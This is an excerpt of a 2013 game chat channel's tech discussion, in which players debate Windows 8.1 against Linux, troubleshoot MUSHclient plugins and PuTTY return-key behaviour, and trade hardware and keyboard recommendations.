T3/r7/2013-10-17.txt.gz:{chan ch=tech}HelperMan Hadar Tech: when im making a plugin in mush do i just put the GMCP handler code into the "script" section of the plugin wizard?
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Cytan Tech: Microsoft listened to its users complaining about no start button in Windows 8 by putting it back in today w/ 8.1.  Unfortunately they did not get the point, as the start button only opens up Metro, not the menu that people were actually complaining about.  On the same day that Ubuntu 13.10 came out, I hope this means we'll see a higher demographic going to Linux :) Thanks Microsoft!
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Hanslanda Tech: not likely.  Nix tends to not advertise, and who really wants to switch to an OS dedicated to coders?
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Cytan Tech: I dunno, I'm a coder so my opinion is biased :P
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Cytan Tech: But funny point, my friends wife isn't computer literate and he's a coder on linux too so she learned on Linux.  Give her a windows system, its like giving linux to a windows user - she doesn't understand windows.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Zade Tech: , *nix is designed only for nerds with eidectic-memories and supposedly high iq, or trained monkeys running those *nix systems -- Microsoft is not worried
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Hanslanda Tech: MS is not worried because they know how big the marketing budgets are for nix flavors.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Cytan Tech: ubuntu isn't too behind - they are developing their own tablet, and not too far after microsoft did.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Cytan Tech: don't know what stage its in but its progressing well
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Zade Tech: also Ubuntu is horrid compared to Windows
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Cytan Tech: its gnome 3 fault :P and unity.  i use linuxmint w/ cinnamon for that reason
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Hanslanda Tech: so what flavor of nix was it that had that annoying interface used in Jurassic Park?
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Ranrr Tech: apple does not advertise?
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Zade Tech: the rich in Universities advertise apple
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Ranrr Tech: also, ms is not worried that linux dominates server and embedded? Sure they are.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Elxi Tech: haha "an os dedicated to coders"
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Zade Tech: talk to somebody able to afford an Apple computer - they are usually happy
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Cytan Tech: well, ... depends on coder.  can't write much .net on a linux.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Cytan Tech: yes, you have mono, but you can't write MVC4 applications (and therefore Razor View Engine), WCF services or any web service for that matter.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Ranrr Tech: nobody wants to write .net on linux
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Cytan Tech: but if not a .net developer and don't care to write objective-c/cocoa apps, you're good :)
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Elxi Tech: I just mean that Linux is adopted by tons of places and people who can't code a lick.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Cytan Tech: Even Apple uses Solaris for its cloud servers and websites, not OS X server.  That should say something :)
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Elxi Tech: That's as egregious as saying Windows is dedicated to stupid people who can't install their own OS.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Ranrr Tech: The reason MS dominates the desktop market is simply because bill gates is a brilliant business person. Has nothing to do with technology. MS OSs are terrible from a tech point of view compared to any other OS.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Well, terrible is stretching it a ways. It has weaknesses and issues, but I wouldn't say it's worse than other OSes out there.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Protogynus Robbo Tech: I've been a *nix admin professionally for a lot of years, but on my most recent PC build for home use, I'm using Windows 7.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Cytan Tech: Yes, that is quite true.  Give free software to schools, get kids to learn on it when they are young so they won't use anything else.  WOrking for a fortune 100 company myself, we get a kickback - we only pay for a 3 year support on microsoft server os and sql, which is cheaper than linux and mysql 3 year support.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Ranrr Tech: No security, no package manager, no desktop customization, no command line. Enough for me to put it in the useless tech pile.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Elxi Tech: Minor point Cytan. You're comparing support though, not software.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Cytan Tech: no, its not a minor point.  if microsoft gives it away but requires support,t hey still make money, and dominate the market.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Cytan Tech: linux can do the same thing (and does), but can't compete on support pricing.  therefore, companies and schools stick w/ it.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Elxi Tech: You can't bundle closed software support with open software support and compare apples to apples.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Cytan Tech: why are you comparing closed vs open?  companies and school don't care what it is if its free.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Elxi Tech: I admit that it's all part of the ecosystem, and something that has to be evaluated. Most companies will require support so it's a worthwhile consideration.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Elxi Tech: And if MS's support is cheaper, and all your other needs are met, sure stick with it.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Companies and schools do care, and between the two, they will take the one that is easiest and has the lowest TCO to install and maintain.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Elxi Tech: And kudos to MS for winning the price game.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Cytan Tech: Exactly :) therefore you're proving my point, that its not a minor issue and is one of the major reasons why Microsoft was so successful early on.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Elxi Tech: I meant that my point was a minor one.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Ranrr Tech: In a couple years, the linux desktop OS of choice will be spelled android. With some luck, that will change things.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Elxi Tech: Cytan you were just stating that your company went MS because the support was cheaper. That's not OS specific. Linux support is decoupled from the OS and for some people that is a pro and for some it is a con.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Cytan Tech: The only thing I never really understood.  I do PHP / MySQL privately, .NET/SQL professionally.  It takes anyone at least 20x longer to build something in .NET that requies constant maintenance than it does in PHP, yet I don't know why its the enterprise standard.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Ranrr Tech: In any case, since I am a coder, I'll stick with linux since it is "made for me", and let the "stupid people" use ms.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i only like linux 50% of the time only when im not trying to run windows specific stuff
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Protogynus Robbo Tech: ... and that, Hadar, is why my (very large) company has huge number of Linux servers, and effectively zero Linux desktops.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Elxi Tech: But putting enterprise aside, there is plenty for the non-coder user to gain from using FLOSS. My girlfriends computer was giving her issues so I put Zorin on it and voila she's been happy since. Just anecdotal evidence to the contrary of Hanslanda's silly statement.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Protogynus Robbo Tech: My son's PC is running Linux Mint, works lovely for him.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}HelperMan Hadar Tech: ill probably burn another linux distro i have ubuntu with cinnamon 
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Ranrr Tech: MS owns the hardware vendors, so you cannot get a linux PC from them, and MS comes preinstalled. That's how MS won.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Ranrr Tech: For most people PC means windows.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Protogynus Robbo Tech: The triple headed gaming rig I built at home, I could only get a couple distros to actually install on, and of those, trying to get some fashion of multimonitor desktop to function properly on there was a nightmare.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Elxi Tech: Not for long Ranrr ref: HP vs MS war that's been in the news.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i laugh when people say there "apple" is better then that "pc"
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Cytan Tech: thats one thing that sucks robbo - i bought an asus g75vx gaming hoping i could install mint on it, or at least dual boot.  i can't :( only virtual box it :(
T3/r7/2013-10-17.txt.gz:{chan ch=tech}HelperMan Hadar Tech: or their even
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Elxi Tech: SteamOS is coming for you gamers. Just hang on.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Tech: Protogynus Robbo nods at Cytan.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Cytan Tech: they even did someting ( don't know what ) to bios when win8 came out, so you can't even downgrade to 7.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Cytan Tech: like replaced the MBR w something else.  not sure what.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Ranrr Tech: That's just a setting in bios you can disable (safe boot). 
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Hmm, something in the EFI? Haven't much paid attention.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Cytan Tech: i dunno.  i thought about getting a system76 next time around.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Cytan Tech: haven't hear dtoo much about them though.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Protogynus Robbo Tech: I'm ... not fond.. of the 'Metro' desktop, so I'm going to sit on Win7 as long as possible.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Martini & Tyebald Tech: I'm going back to the abacus.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Tech: Cytan beams with pride at Martini & Tyebald.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Elxi Tech: If I had the dough I'd be buying system76 gear too. Atm I'm poor so I just buy chromboooks for $200 and put linux on them.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}HelperMan Hadar Tech: while we are talking about computers, i need a decent cheep monitor suggestions?
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Protogynus Robbo Tech: I got a really nice refurb 23" Dell IPS display for $90 the other day.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Cytan Tech: i have a hannspree 27" monitor for 200 bucks from newegg, had it for 3 years, no problems w/ it
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Very impressed with the 23".
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Martini & Tyebald Tech: cheep monitors are for the birds.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Cytan Tech: he said cheap :P
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Ayasinda Tech: what's cheap?
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Cytan Tech: hannspree is pretty cheap
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Martini & Tyebald Tech: no, he didn't. :)
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Ranrr Tech: I want a 4k 30" monitor, I need more screen estate. :D
T3/r7/2013-10-17.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i said cheep because im distracted in the middle of work listining to someone talk
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Cytan Tech: fine, he said cheep
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Elxi Tech: If you want real cheap, go to your University and see if they have a surplus store. Mine does.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Protogynus Robbo Tech: I need 3 more 23"s for my main machine.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Cytan Tech: 200 bucks for a 27" 1080p monitor is pretty cheep :P
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Might need a stronger desk.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}HelperMan Hadar Tech: and i hate spelling, and im sick =/
T3/r7/2013-10-17.txt.gz:{chan ch=tech}HelperMan Hadar Tech: if i could i would just fall asleep
T3/r7/2013-10-17.txt.gz:{chan ch=tech}HelperMan Hadar Tech: im going to get a movie projector for my next screen *nod self
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Elxi Tech: I want to play around with a cheap projector and te wiimote technology to turn it in to a touch screen
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Fisban Tech: doing a repair install of windows 7
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Fisban Tech: anyone in corporate or such enterprising level work with win 8 yet for programming level stuff?
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Turie Tech: 8.1 came out today.
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Elysian Tech: bring back win 3.49beta!
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Turie Tech: Bring back Windows 3.1
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Fisban Tech: I remember that and novell os 2 was it?
T3/r7/2013-10-17.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: 3.11 for workgroups!!
T3/r7/2013-10-17.txt.gz:{chan ch=tech}Fisban Tech: they were supposed to work with eachother yup
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Bertilak Tech: whats that command to see the hidden messages like {repop
T3/r7/2013-10-18.txt.gz:{chan ch=tech}SweetSnail Anaristos Tech: tags on
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Gener Tech: tags?
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Bertilak Tech: tags thats its, thanks
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Tech: I have a repop plugin, but I haven't tested it...you could be the first ;-)
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Bertilak Tech: I wasn't specifically wanting to see repops, I just remembered that was one of the types of messages that you could turn tags on for and I couldn't remember the term for it
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Tech: my plugin grabs repops from GMCP rather than tags, so it says the keyword of the area rather than the thematic repop message
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Bertilak Tech: hmm what I was wanted to see is about channel tags, but I have those turned on now and I don't see them working
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Tech: your client is gagging them...tags generally aren't for people to see, they're for scripts to parse and hide from people
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Bertilak Tech: yeah I just don't know which plugin is gagging it
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Tech: the comms log
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Tech: that's how it works
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Bertilak Tech: fiendish's miniwindow chat plugin?
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Tech: yes
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Tech: if you have channel tags off, then the comms log can't display chats in the miniwin only because it can't gag the main window's version
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Tech: it'll still display them in the miniwindow because that gets its cue from GMCP, but the gagging is via tags
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Bertilak Tech: well I don't have the channels themselves gagged in the main window
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Bertilak Tech: but apparently it still gags the tags
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Bertilak Tech: heh gags the tags
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Tech: yup, it would always gag the tags
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Tech: basically, it gags the tags and the channels...but if you have it set to display in both places, then it echoes the channel back to output in a colournote
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Tech: but only the part of the channel after the tag
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Bertilak Tech: ah, okay it doesn't actually use a gag function, it just triggers on the tags and then has the trigger omit from output, I got it figured out now, thanks Abe
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Tech: omit from output is MUSHclient's gag function...
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Bertilak Tech: ah, well anyway I kept searching through the plugin for "gag" and couldn't figure out how it was doing it, and then finally realized it was within the trigger setups
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Skhald Tech: can anyone help me with some plugin issues?
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Grissom Tech: anyone know about a mud client for blackberry?
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Purrrrific Growltiger Tech: midsshp or something like that
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Grissom Tech: the download link for it keeps giving me a 404 not found erroe
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Xaxz Tech: here's a question for the techs.  I want to SSH into my home computer, but that computer is provided internet from a router I cannot access.  What options do I have?
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Flannel Tech: is anyone updating win 8.1 ? is the update working properly now?
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Comanchee Tech: I don't understand the purpose of mapper bouncerecall or bounceportal.  Would someone please explain them to me?
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Tigernuts Tech: don't suppose anyone uses git with netbeans?
T3/r7/2013-10-18.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: for git, use SourceTree
T3/r7/2013-10-18.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: it's awesome
T3/r7/2013-10-18.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: it's worth checking out the docs about git flow on atlassian's web site
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Tigernuts Tech: i can either use the netbeans module for git or git bash, but not both on the same project
T3/r7/2013-10-18.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: forget netbeans just use sourcetree, i use it side-by-side with gitbash, which i only use anymore for new repo init
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Tigernuts Tech: well i could probably get away with just using git bash, i am just singly horrified at how shit anything netbeans or oracle related tends to be
T3/r7/2013-10-18.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: agreed
T3/r7/2013-10-18.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: is this some assignment which restricts the tools you're allowed to use?
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Tigernuts Tech: policy restricts what tools i'm allowed to use
T3/r7/2013-10-18.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: ah I see... well, work on getting SourceTree allowed lol... it's build by atlassian, who also run bitbucket, jira, et al
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Tigernuts Tech: the company writing obamacare have been caught violating license agreements of libraries of code they've pinched
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Tigernuts Tech: i found that amusing
T3/r7/2013-10-18.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: it was built to provide a painfree interface to bitbucket for git/mercurial, and it has built-in gitflow and other neat tools, as well as a visual branch/merge history
T3/r7/2013-10-18.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: lol wow
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Velian Tech: so... I didn't change anything from the other day, but suddenly my alias' won't execute if there is a ' ' (space) before them on the command line (CMUD)
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Huh? That is usually a desired effect, for falling back to mudside aliases
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Velian Tech: was never desired for me. And it worked fine two days ago, but yesterday/today they have to be flush with no space.
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Not sure how it could have changed itself, but you might need to un-anchor the regex matching - so instead of ^alias use just alias. Or it could be some funky cmud thing I don't know about :-P
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Velian Tech: it is. cause every alias changed
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Velian Tech: and i don't anchor aliases, never even thought to do that... *shrug*
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I'll be no help to you then, sorry :-(
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Velian Tech: it makes mudding from my phone a lot less pleasant (remoting in to pc) because my phone has an issue where when I sent text through the remote app, it keeps that in the 'typed' line of the phone, then it appends whatever i type next to that. so i have to use 'space' to clear it.
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Velian Tech: stupid app...
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Botman Tech: Anyone here good with Excel VBA?
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Botman Tech: I'm trying to take a string of text, and replace certain parts of it with other characters.  For example, a string of words that also contains things like #P and #Q.  I need a function to replace all of the #P's with left paren, and all of the #Q's with right paren.  Not finding anything on google to address this specific situation.
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Newchange Tech: What are some useful plugins that are commonly used?
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Prince Wario Tech: I love the hunt and the search
T3/r7/2013-10-18.txt.gz:{chan ch=tech}Prince Wario Tech: especially the help for questing
T3/r7/2013-10-18.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: finger winklewinkle. if you don't get it, you'll be crawling compared to others
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Jaenelle Tech: Today's slightly random question... pico editor... when I use putty to connect to it from work.... my return/enter key produces line breaks and sends commands. When I do it from home... it doesn't. But in the same connection, but in a different window.... my return key does work in irc. :P
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Jaenelle Tech: Any suggestions? :P
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Jaenelle Tech: Then again, I'm not sure my question even makes sense
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Arnica Tech: try using putty to connect to it from home using localhost? (makes as much sense as question :)
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Jaenelle Tech: I'm already using putty to connect to it. It's a remote server on a computer I think in germany somewhere :P
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Zetkax Tech: i use putty at home to fix holes in my walls
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Tech: Zetkax )
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Jaenelle Tech: oooo, this is interesting. using putty to connect to a different server... starting pico... there my return key works. :P
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Grissom Tech: maybe something is wrong with the server
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Jaenelle Tech: Yes... ;)
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Jaenelle Tech: any idea if it is a setting somewhere?
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Arnica Tech: Oh, that is odd. I was going to suggest your putty client was configured differently. Now you have ruled that out.
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Jaenelle Tech: odd though since it works at work. :P
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Tech: Jaenelle nods at Arnica.
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Jaenelle Tech: well... let me check that my putty settings for the two servers are the same. :) I've had them both saved for like forever
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Jaenelle Tech: ok, only differences between the two saved connections is the address, port, and login name. :P (well... and the file I save it as I guess...)
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Jaenelle Tech: might be that one of the servers is configured to require different settings though
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Trachx Tech: terminal setting (tset IIRC)
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Trachx Tech: or ratherh check profile/setting files - like .bashrc, .profile, .bash_profile
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Jaenelle Tech: oh well. :P Ctrl+M produces a new line and that'll work for now I guess. Harder to save files in pico though 
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Jaenelle Tech: ;)
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Jaenelle Tech: Neither of the servers is mine, and I'm really really horrible at using them. :P
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Arnica Tech: heh, one of the servers is running Windows?
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Grissom Tech: are is for plural is is from singular
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Jaenelle Tech: I assume they're both running linux, but not sure.
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Arnica Tech: ctrl M is endline for windows if i am not mistaken
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Jaenelle Tech: Oh, I just found it in the putty settings. There's a checkbox under telnet settings, 'return key sends telnet new line instead of Ctrl+M' it is set the same for both servers
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Arnica Tech: et voila
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Jaenelle Tech: oooo, ctrl+m seems to work even for saving files. ;)
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Jaenelle Tech: Arnica: still odd though that with the same settings and same server... my enter key works at work but not at home. :)
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Grissom Tech: ctrl+M just minimized my mush
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Trachx Tech: how do you compare settings? manually option by option? or both connections to files and then compare files ?
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Arnica Tech: Lucky that's all it did
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Jaenelle Tech: Grissom: Maybe cause you aren't in putty connected to a server?:P
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Ranrr Tech: Try stty icrnl and possibly stty eol ctrl-v return
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Grissom Tech: jaenelle that must be the reason
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Jaenelle Tech: I should bring my work laptop home next week and check. :P Now I'm getting curious :)
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Arnica Tech: Your edge device at work may do it for you
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Jaenelle Tech: edge device?
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Ranrr Tech: If you compare the stty -a settings on both servers, likely you will find a difference.
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Arnica Tech: whatever router or firewall connects you
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Jaenelle Tech: Arnica: maybe, but the servers aren't work servers. I mostly just use them to irc :P
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Ranrr Tech: routers don't interfere with terminal settings
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Grissom Tech: oh I just love plug and play
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Lies, having to remember the IRQ of your sound card was how MEN PLAYED GAMES.
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Tech: Ranrr goes, "Heh."
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Grissom Tech: how was the 1 bit sound at that time?
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Beep.
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Tech: Seltsimees Dagnir snickers softly.
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Redryn Tech: what was that game, scorched earth?
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Grissom Tech: no the A vhasing O game
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Grissom Tech: chasing*
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: TES:Arena was pretty sweet
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i used to play this awesome game in school. you had to jump over green boxes with your green box
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it was like a cross between pitfall and donkey kong, but with more green boxes
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Chip's Challenge.
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Grissom Tech: the world needs more green boxes
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i don't know what computer it was on even. it was some ancient (probably russian) thing that looked like it came from fallout
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: we had to ask people from highschool to come to our class and boot the damn thing and enter a bunch of arcane commands so we could play as a green box
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: had a nice mechanical keyboard tho. would totally use it today
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Ranrr Tech: You can still get mechanical keyboards.... I recommend "das keyboard"
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Cherry Brown is like muffdiving when you type.
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Vost Tech: yeah, mechanical keyboards have made a resurgence
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Ranrr Tech: it's cherry black
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Ranrr Tech: I think... :D
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: yeah, i'm getting das keyboard. only blank one available afaik
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Not all of them - and Cherry black sounds like you are typing with a machine gun
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Ranrr Tech: yup!!
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Vost Tech: brown is quieter
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Brown is resistance and haptic click, but no audible click
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i just have to find a decent store near me that has it in stock. only found one german site so far and they want 25 euros for shipping alone
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Ranrr Tech: I like the sound, except when I am on the phone.
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: heh, my friends mechanical keyboards always set off the speech trigger on mumble
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: their name lights up and all you hear is KLACKKLACKKLACKKLACK
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I can't understand sound activated mikes. I mutter some pretty crazy shit sometimes, I need hold-to-talk :-P
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: but hey - i have t-series thinkpad and that's as good as you can get with regular keyboards
